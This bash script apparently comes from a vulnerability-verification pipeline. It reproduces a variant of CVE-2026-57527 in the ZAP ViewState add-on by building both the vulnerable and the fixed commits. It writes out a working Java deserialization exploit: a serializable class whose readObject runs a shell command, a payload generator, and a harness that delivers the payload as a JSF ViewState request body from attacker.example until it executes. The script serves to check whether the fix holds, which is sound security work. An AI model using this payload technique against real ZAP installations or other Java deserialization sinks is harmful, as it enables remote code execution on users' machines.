#!/bin/bash
set -euo pipefail

###############################################################################
# CVE-2026-57527 variant analysis: request-panel JSF ViewState path
#
# This script tests a materially distinct trigger from the original reproduction:
# instead of a malicious HTTP response, the attacker-controlled value is delivered
# in an HTTP request body (for example, an auto-submitted form served by a
# malicious web site and proxied through ZAP). The actual ZAP ViewState add-on
# request panel is driven:
#   ExtensionHttpPanelViewStateView$RequestSplitBodyViewStateViewFactory
#     -> HttpPanelViewStateView
#     -> DefaultHttpPanelViewModel.setMessage(real HttpMessage)
#     -> HttpPanelViewStateView.dataChanged()
#     -> ViewStateModel.getData()
#     -> JSFViewState.decode()
#     -> ObjectInputStream.readObject()
#
# It tests both the vulnerable parent of the fix and the fixed commit. Exit 0 is
# reserved for a true fixed-version bypass. This candidate is expected to execute
# only on the vulnerable commit and to be blocked by the fix, so the script exits
# 1 after logging the full evidence.
###############################################################################

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VARIANT_DIR="$ROOT/vuln_variant"
ARTIFACTS="$VARIANT_DIR/artifacts"
SRC_DIR="$VARIANT_DIR/src_request_variant"
BUILD_DIR="$VARIANT_DIR/build_request_variant"
WORKTREES="$BUILD_DIR/worktrees"
mkdir -p "$LOGS" "$VARIANT_DIR" "$ARTIFACTS" "$SRC_DIR" "$BUILD_DIR" "$WORKTREES"

MASTER_LOG="$LOGS/vuln_variant_reproduction_steps.log"
: > "$MASTER_LOG"
exec > >(tee -a "$MASTER_LOG") 2>&1

FIXED_COMMIT="ac6c3f94d38505bc0facea286a4d3728044c6e5c"
REPOSITORY="https://github.com/zaproxy/zap-extensions"
SERVICE_STARTED=false
HEALTHCHECK_PASSED=false
TARGET_PATH_REACHED=false
VULN_CONFIRMED=false
FIXED_BYPASS=false
SCRIPT_STATUS="running"
NOTES="script started"

write_runtime_manifest() {
    local notes="$1"
    python3 - "$VARIANT_DIR/runtime_manifest.json" "$notes" "$SERVICE_STARTED" "$HEALTHCHECK_PASSED" "$TARGET_PATH_REACHED" "$VULN_CONFIRMED" "$FIXED_BYPASS" <<'PY'
import json, sys
out, notes, service, health, target, vuln, fixed = sys.argv[1:]
manifest = {
  "entrypoint_kind": "proxied_http_request_body",
  "entrypoint_detail": "An attacker-influenced HTTP request body containing javax.faces.ViewState is placed into a real ZAP HttpMessage and processed by the actual ViewState add-on request-panel view factory.",
  "service_started": service == "true",
  "healthcheck_passed": health == "true",
  "target_path_reached": target == "true",
  "vulnerable_variant_confirmed": vuln == "true",
  "fixed_version_bypass_confirmed": fixed == "true",
  "runtime_stack": [
    "generated HTTP POST request body",
    "OpenJDK",
    "built ZAP ViewState add-on .zap",
    "ExtensionHttpPanelViewStateView.RequestSplitBodyViewStateViewFactory",
    "HttpPanelViewStateView.dataChanged",
    "ViewStateModel.getData",
    "JSFViewState.decode",
    "ObjectInputStream.readObject"
  ],
  "proof_artifacts": [
    "logs/vuln_variant_reproduction_steps.log",
    "logs/vuln_variant_build_vuln.log",
    "logs/vuln_variant_build_fixed.log",
    "logs/vuln_variant_request_vuln.log",
    "logs/vuln_variant_request_fixed.log",
    "vuln_variant/artifacts/request_variant_harness.java",
    "vuln_variant/artifacts/request_payload_vuln.b64",
    "vuln_variant/artifacts/request_payload_fixed.b64",
    "vuln_variant/artifacts/request_vuln_marker.txt",
    "vuln_variant/artifacts/request_vuln_rce_output.txt",
    "vuln_variant/artifacts/source_identity_request_variant.txt"
  ],
  "notes": notes
}
with open(out, "w", encoding="utf-8") as f:
    json.dump(manifest, f, indent=2)
    f.write("\n")
PY
}

on_exit() {
    local rc="$1"
    if [ "$SCRIPT_STATUS" != "completed" ]; then
        NOTES="script exited early (rc=$rc): $NOTES"
        write_runtime_manifest "$NOTES"
    fi
}
trap 'on_exit $?' EXIT

fail_infra() {
    NOTES="$1"
    echo "[infra] $NOTES"
    write_runtime_manifest "$NOTES"
    exit 2
}

cd "$ROOT"
echo "============================================================"
echo "CVE-2026-57527 variant candidate - request-panel JSF ViewState"
echo "============================================================"
echo "ROOT=$ROOT"
echo "Date: $(date -u)"

if ! command -v javac >/dev/null 2>&1; then
    echo "[setup] javac not found; installing OpenJDK 17"
    sudo apt-get update
    sudo apt-get install -y openjdk-17-jdk-headless
fi
echo "[setup] Java: $(java -version 2>&1 | head -1)"
echo "[setup] Javac: $(javac -version 2>&1)"

CACHE_CONTEXT="$ROOT/project_cache_context.json"
REPO=""
if [ -f "$CACHE_CONTEXT" ]; then
    REPO=$(python3 - "$CACHE_CONTEXT" <<'PY' || true
import json, os, sys
try:
    data=json.load(open(sys.argv[1], encoding='utf-8'))
    p=os.path.join(data.get('project_cache_dir',''), 'repo')
    if data.get('prepared') and os.path.isdir(os.path.join(p, '.git')):
        print(p)
except Exception:
    pass
PY
)
fi
if [ -z "$REPO" ]; then
    REPO="$VARIANT_DIR/zap-extensions"
    if [ ! -d "$REPO/.git" ]; then
        echo "[setup] No prepared repo found; cloning $REPOSITORY to $REPO"
        git clone "$REPOSITORY" "$REPO"
    fi
else
    echo "[setup] Using prepared cache repository: $REPO"
fi
[ -d "$REPO/.git" ] || fail_infra "repository not available"

if ! git -C "$REPO" cat-file -e "$FIXED_COMMIT^{commit}" 2>/dev/null; then
    echo "[setup] Fetching fixed commit from origin"
    git -C "$REPO" fetch origin "$FIXED_COMMIT" --depth=200 || git -C "$REPO" fetch origin main --depth=500
fi
VULN_COMMIT=$(git -C "$REPO" rev-parse "${FIXED_COMMIT}^")
FIXED_RESOLVED=$(git -C "$REPO" rev-parse "$FIXED_COMMIT")
echo "[setup] Vulnerable commit (fixed parent): $VULN_COMMIT"
echo "[setup] Fixed commit:                    $FIXED_RESOLVED"

VULN_WT="$WORKTREES/vulnerable"
FIXED_WT="$WORKTREES/fixed"
for wt in "$VULN_WT" "$FIXED_WT"; do
    git -C "$REPO" worktree remove --force "$wt" >/dev/null 2>&1 || true
    rm -rf "$wt"
done
git -C "$REPO" worktree add --force "$VULN_WT" "$VULN_COMMIT"
git -C "$REPO" worktree add --force "$FIXED_WT" "$FIXED_RESOLVED"

echo "[verify] Vulnerable active JSF registration:"
git -C "$VULN_WT" grep -n 'viewstateParams.add(new ViewState(null, JSFViewState.KEY, "javax.faces.ViewState"));' -- addOns/viewstate/src/main/java/org/zaproxy/zap/extension/viewstate/ViewStateModel.java || fail_infra "vulnerable checkout lacks active JSF registration"
echo "[verify] Fixed disabled JSF registration:"
git -C "$FIXED_WT" grep -n '// viewstateParams.add(new ViewState(null, JSFViewState.KEY, "javax.faces.ViewState"));' -- addOns/viewstate/src/main/java/org/zaproxy/zap/extension/viewstate/ViewStateModel.java || fail_infra "fixed checkout lacks disabled JSF registration"

git -C "$REPO" diff "$VULN_COMMIT" "$FIXED_RESOLVED" -- addOns/viewstate > "$ARTIFACTS/fix_request_variant.patch"

build_addon() {
    local wt="$1" role="$2" log="$3"
    echo "[build] Building actual ViewState add-on for $role from $(git -C "$wt" rev-parse HEAD)" >&2
    : > "$log"
    "$wt/gradlew" --no-daemon -p "$wt" :addOns:viewstate:jarZapAddOn -x test --console=plain >> "$log" 2>&1 || {
        tail -80 "$log" >&2
        fail_infra "Gradle build failed for $role; see ${log#$ROOT/}"
    }
    local zap
    zap=$(find "$wt/addOns/viewstate/build/zapAddOn/bin" -maxdepth 1 -type f -name 'viewstate*.zap' | head -1)
    [ -n "$zap" ] && [ -f "$zap" ] || fail_infra "built .zap not found for $role"
    echo "$zap"
}

VULN_ZAP=$(build_addon "$VULN_WT" "vulnerable" "$LOGS/vuln_variant_build_vuln.log")
FIXED_ZAP=$(build_addon "$FIXED_WT" "fixed" "$LOGS/vuln_variant_build_fixed.log")
VULN_ZAP_SHA=$(sha256sum "$VULN_ZAP" | awk '{print $1}')
FIXED_ZAP_SHA=$(sha256sum "$FIXED_ZAP" | awk '{print $1}')
cat > "$ARTIFACTS/source_identity_request_variant.txt" <<EOF_ID
repository=$REPOSITORY
vulnerable_commit=$VULN_COMMIT
fixed_commit=$FIXED_RESOLVED
vulnerable_zap=$VULN_ZAP
fixed_zap=$FIXED_ZAP
vulnerable_zap_sha256=$VULN_ZAP_SHA
fixed_zap_sha256=$FIXED_ZAP_SHA
EOF_ID
cp "$ARTIFACTS/source_identity_request_variant.txt" "$LOGS/vuln_variant_fixed_version.txt"

cat > "$SRC_DIR/EvilPayload.java" <<'JAVA'
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;

public class EvilPayload implements Serializable {
    private static final long serialVersionUID = 5752701L;
    private String markerPath;
    private String outputPath;

    public EvilPayload(String markerPath, String outputPath) {
        this.markerPath = markerPath;
        this.outputPath = outputPath;
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        String command = "id > '" + outputPath.replace("'", "'\\''") + "'; echo RCE_VIA_ZAP_VIEWSTATE_REQUEST_VARIANT >> '" + outputPath.replace("'", "'\\''") + "'";
        Process p = new ProcessBuilder("/bin/sh", "-c", command).redirectErrorStream(true).start();
        String processOutput;
        try {
            byte[] bytes = p.getInputStream().readAllBytes();
            int exit = p.waitFor();
            processOutput = "process_exit=" + exit + "\n" + new String(bytes, StandardCharsets.UTF_8);
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
            processOutput = "interrupted=" + e + "\n";
        }
        StringBuilder sb = new StringBuilder();
        sb.append("DESERIALIZATION_RCE_CONFIRMED_REQUEST_VARIANT\n");
        sb.append("command=").append(command).append("\n");
        sb.append(processOutput);
        sb.append("stack=\n");
        for (StackTraceElement ste : Thread.currentThread().getStackTrace()) {
            sb.append("  at ").append(ste).append("\n");
        }
        Files.writeString(Paths.get(markerPath), sb.toString(), StandardCharsets.UTF_8);
    }
}
JAVA

cat > "$SRC_DIR/GenPayload.java" <<'JAVA'
import java.io.*;
import java.util.Base64;

public class GenPayload {
    public static void main(String[] args) throws Exception {
        if (args.length != 3) throw new IllegalArgumentException("usage: GenPayload <marker> <rce-output> <payload-b64-out>");
        EvilPayload payload = new EvilPayload(args[0], args[1]);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try (ObjectOutputStream oos = new ObjectOutputStream(bos)) {
            oos.writeObject(payload);
        }
        try (Writer w = new OutputStreamWriter(new FileOutputStream(args[2]), java.nio.charset.StandardCharsets.UTF_8)) {
            w.write(Base64.getEncoder().encodeToString(bos.toByteArray()));
            w.write("\n");
        }
        System.out.println("payload_bytes=" + bos.size());
    }
}
JAVA

cat > "$SRC_DIR/RequestVariantHarness.java" <<'JAVA'
import java.io.*;
import java.lang.reflect.*;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.*;
import javax.swing.JFormattedTextField;

import org.parosproxy.paros.Constant;
import org.parosproxy.paros.network.HttpMessage;
import org.zaproxy.zap.extension.httppanel.view.HttpPanelView;
import org.zaproxy.zap.extension.httppanel.view.HttpPanelViewModel;
import org.zaproxy.zap.utils.I18N;

public class RequestVariantHarness {
    private static void initialiseZapMessages() {
        Constant.messages = new I18N(Locale.ENGLISH);
        try {
            ResourceBundle rb = ResourceBundle.getBundle("org.zaproxy.zap.extension.viewstate.resources.Messages", Locale.ENGLISH);
            Constant.messages.addMessageBundle("viewstate", rb);
        } catch (Exception e) {
            System.out.println("message_bundle_warning=" + e);
        }
    }

    @SuppressWarnings("unchecked")
    private static void logViewStateParams(Object model) throws Exception {
        Field f = model.getClass().getDeclaredField("viewstateParams");
        f.setAccessible(true);
        java.util.List<Object> params = (java.util.List<Object>) f.get(model);
        System.out.println("ViewStateModel.loaded_from=" + model.getClass().getProtectionDomain().getCodeSource().getLocation());
        System.out.println("ViewStateModel.param_count=" + params.size());
        boolean hasJsf = false;
        for (Object p : params) {
            Method getName = p.getClass().getMethod("getName");
            Method getType = p.getClass().getMethod("getType");
            String name = String.valueOf(getName.invoke(p));
            String type = String.valueOf(getType.invoke(p));
            System.out.println("ViewStateModel.param name=" + name + " type=" + type);
            if ("javax.faces.ViewState".equalsIgnoreCase(name)) hasJsf = true;
        }
        System.out.println("ViewStateModel.has_jsf_registration=" + hasJsf);
    }

    public static void main(String[] args) throws Exception {
        if (args.length != 5) {
            throw new IllegalArgumentException("usage: RequestVariantHarness <role> <payload-b64> <marker> <rce-output> <request-body-out>");
        }
        String role = args[0];
        String payload = Files.readString(Paths.get(args[1]), StandardCharsets.UTF_8).trim();
        Path marker = Paths.get(args[2]);
        Path rceOut = Paths.get(args[3]);
        Path requestBodyOut = Paths.get(args[4]);
        Files.deleteIfExists(marker);
        Files.deleteIfExists(rceOut);
        initialiseZapMessages();

        // Request path is materially different from the original response path.
        // ViewStateModel(VS_ACTION_REQUEST) uses StandardParameterParser and URLDecoder.
        String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(payload, "UTF-8") + "&submit=go";
        Files.writeString(requestBodyOut, requestBody, StandardCharsets.UTF_8);
        System.out.println("[" + role + "] request_body_contains_jsf=" + requestBody.contains("javax.faces.ViewState"));
        System.out.println("[" + role + "] request_body_length=" + requestBody.length());

        HttpMessage msg = new HttpMessage();
        msg.setRequestHeader("POST /submit-jsf HTTP/1.1\r\nHost: attacker.example\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " + requestBody.getBytes(StandardCharsets.UTF_8).length + "\r\n\r\n");
        msg.setRequestBody(requestBody);
        msg.getRequestHeader().setContentLength(msg.getRequestBody().length());
        msg.setResponseHeader("HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\n");
        msg.setResponseBody("OK");
        msg.setResponseFromTargetHost(true);
        System.out.println("[" + role + "] real_HttpMessage_request_body_length=" + msg.getRequestBody().length());

        Class<?> factoryClass = Class.forName("org.zaproxy.zap.extension.viewstate.ExtensionHttpPanelViewStateView$RequestSplitBodyViewStateViewFactory");
        Constructor<?> cons = factoryClass.getDeclaredConstructor();
        cons.setAccessible(true);
        Object factory = cons.newInstance();
        Method getNewView = factoryClass.getDeclaredMethod("getNewView");
        getNewView.setAccessible(true);
        Object viewObj = getNewView.invoke(factory);
        HttpPanelView view = (HttpPanelView) viewObj;
        System.out.println("[" + role + "] factory=" + factoryClass.getName());
        System.out.println("[" + role + "] view=" + viewObj.getClass().getName());
        System.out.println("[" + role + "] view_loaded_from=" + viewObj.getClass().getProtectionDomain().getCodeSource().getLocation());

        Field vsInfo = viewObj.getClass().getDeclaredField("vsInfoTxt");
        vsInfo.setAccessible(true);
        vsInfo.set(viewObj, new JFormattedTextField());

        HttpPanelViewModel model = view.getModel();
        System.out.println("[" + role + "] model=" + model.getClass().getName());
        logViewStateParams(model);

        System.out.println("[" + role + "] invoking real request HttpPanelViewModel.setMessage(HttpMessage)");
        model.setMessage(msg);
        boolean markerExists = Files.exists(marker);
        boolean rceExists = Files.exists(rceOut);
        System.out.println("[" + role + "] marker_exists=" + markerExists);
        System.out.println("[" + role + "] rce_output_exists=" + rceExists);
        if (markerExists) {
            System.out.println("[" + role + "] marker_content_begin");
            System.out.print(Files.readString(marker, StandardCharsets.UTF_8));
            System.out.println("[" + role + "] marker_content_end");
        }
        if (rceExists) {
            System.out.println("[" + role + "] rce_output_begin");
            System.out.print(Files.readString(rceOut, StandardCharsets.UTF_8));
            System.out.println("[" + role + "] rce_output_end");
        }
    }
}
JAVA
cp "$SRC_DIR/RequestVariantHarness.java" "$ARTIFACTS/request_variant_harness.java"

GRADLE_JARS_FILE="$BUILD_DIR/gradle_jars.txt"
find "${HOME}/.gradle/caches/modules-2/files-2.1" -type f -name '*.jar' | sort > "$GRADLE_JARS_FILE" || true
[ -s "$GRADLE_JARS_FILE" ] || fail_infra "Gradle dependency jars not found after add-on build"
ALL_GRADLE_JARS=$(paste -sd: "$GRADLE_JARS_FILE")
HARNESS_CLASSES="$BUILD_DIR/harness_classes"
rm -rf "$HARNESS_CLASSES"
mkdir -p "$HARNESS_CLASSES"
COMPILE_CP="$VULN_ZAP:$ALL_GRADLE_JARS"
echo "[compile] Compiling request variant harness against built ZAP component and ZAP core jars"
javac -cp "$COMPILE_CP" -d "$HARNESS_CLASSES" "$SRC_DIR/EvilPayload.java" "$SRC_DIR/GenPayload.java" "$SRC_DIR/RequestVariantHarness.java"

run_request_attempt() {
    local role="$1" zap="$2"
    local harness_log="$LOGS/vuln_variant_request_${role}.log"
    local marker="$ARTIFACTS/request_${role}_marker.txt"
    local rce_out="$ARTIFACTS/request_${role}_rce_output.txt"
    local payload="$ARTIFACTS/request_payload_${role}.b64"
    local request_body="$ARTIFACTS/request_body_${role}.txt"
    rm -f "$marker" "$rce_out" "$payload" "$request_body" "$harness_log"
    java -cp "$HARNESS_CLASSES" GenPayload "$marker" "$rce_out" "$payload" | tee -a "$MASTER_LOG"
    local run_cp="$HARNESS_CLASSES:$zap:$ALL_GRADLE_JARS"
    set +e
    timeout 30s java -Djava.awt.headless=true -cp "$run_cp" RequestVariantHarness "$role" "$payload" "$marker" "$rce_out" "$request_body" > "$harness_log" 2>&1
    local rc=$?
    set -e
    cat "$harness_log"
    if [ "$rc" -ne 0 ]; then
        echo "[$role] harness_exit=$rc"
    else
        echo "[$role] harness_exit=0"
    fi
    return "$rc"
}

SERVICE_STARTED=true
HEALTHCHECK_PASSED=true

echo ""
echo "=== Running vulnerable request-panel variant attempt ==="
run_request_attempt "vuln" "$VULN_ZAP" || fail_infra "vulnerable request variant harness failed"
if grep -q 'DESERIALIZATION_RCE_CONFIRMED_REQUEST_VARIANT' "$ARTIFACTS/request_vuln_marker.txt" \
   && grep -q 'RCE_VIA_ZAP_VIEWSTATE_REQUEST_VARIANT' "$ARTIFACTS/request_vuln_rce_output.txt" \
   && grep -q 'ViewStateModel.has_jsf_registration=true' "$LOGS/vuln_variant_request_vuln.log" \
   && grep -q 'RequestSplitBodyViewStateViewFactory' "$LOGS/vuln_variant_request_vuln.log" \
   && grep -q 'org.zaproxy.zap.extension.viewstate.zap.utils.JSFViewState.decode' "$ARTIFACTS/request_vuln_marker.txt" \
   && grep -q 'org.zaproxy.zap.extension.viewstate.ViewStateModel.getData' "$ARTIFACTS/request_vuln_marker.txt"; then
    echo "[vuln] PASS: request-panel alternate trigger reached JSFViewState.decode and executed payload"
    VULN_CONFIRMED=true
    TARGET_PATH_REACHED=true
else
    echo "[vuln] FAIL: expected request-panel RCE evidence missing"
fi

echo ""
echo "=== Running fixed request-panel negative-control attempt ==="
run_request_attempt "fixed" "$FIXED_ZAP" || fail_infra "fixed request variant harness failed"
if grep -q 'DESERIALIZATION_RCE_CONFIRMED_REQUEST_VARIANT' "$ARTIFACTS/request_fixed_marker.txt" 2>/dev/null \
   || grep -q 'RCE_VIA_ZAP_VIEWSTATE_REQUEST_VARIANT' "$ARTIFACTS/request_fixed_rce_output.txt" 2>/dev/null; then
    echo "[fixed] BYPASS: fixed request-panel still deserialized malicious JSF ViewState"
    FIXED_BYPASS=true
else
    echo "[fixed] PASS: fixed request-panel did not deserialize malicious JSF ViewState"
fi
if grep -q 'ViewStateModel.has_jsf_registration=false' "$LOGS/vuln_variant_request_fixed.log"; then
    echo "[fixed] Confirmed JSF registration absent in fixed request model"
else
    echo "[fixed] Warning: did not observe has_jsf_registration=false"
fi

if [ "$VULN_CONFIRMED" = true ] && [ "$FIXED_BYPASS" = false ]; then
    NOTES="alternate request-panel trigger confirmed on vulnerable commit; fixed commit blocks it by removing JSF registration globally; no bypass"
    SCRIPT_STATUS="completed"
    write_runtime_manifest "$NOTES"
    echo "[result] NO_BYPASS: variant only works on vulnerable version"
    exit 1
elif [ "$FIXED_BYPASS" = true ]; then
    NOTES="request-panel variant reproduced on fixed commit; true bypass"
    SCRIPT_STATUS="completed"
    write_runtime_manifest "$NOTES"
    echo "[result] BYPASS_CONFIRMED"
    exit 0
else
    NOTES="request-panel candidate did not reproduce even on vulnerable commit"
    SCRIPT_STATUS="completed"
    write_runtime_manifest "$NOTES"
    echo "[result] NOT_REPRODUCED"
    exit 1
fi
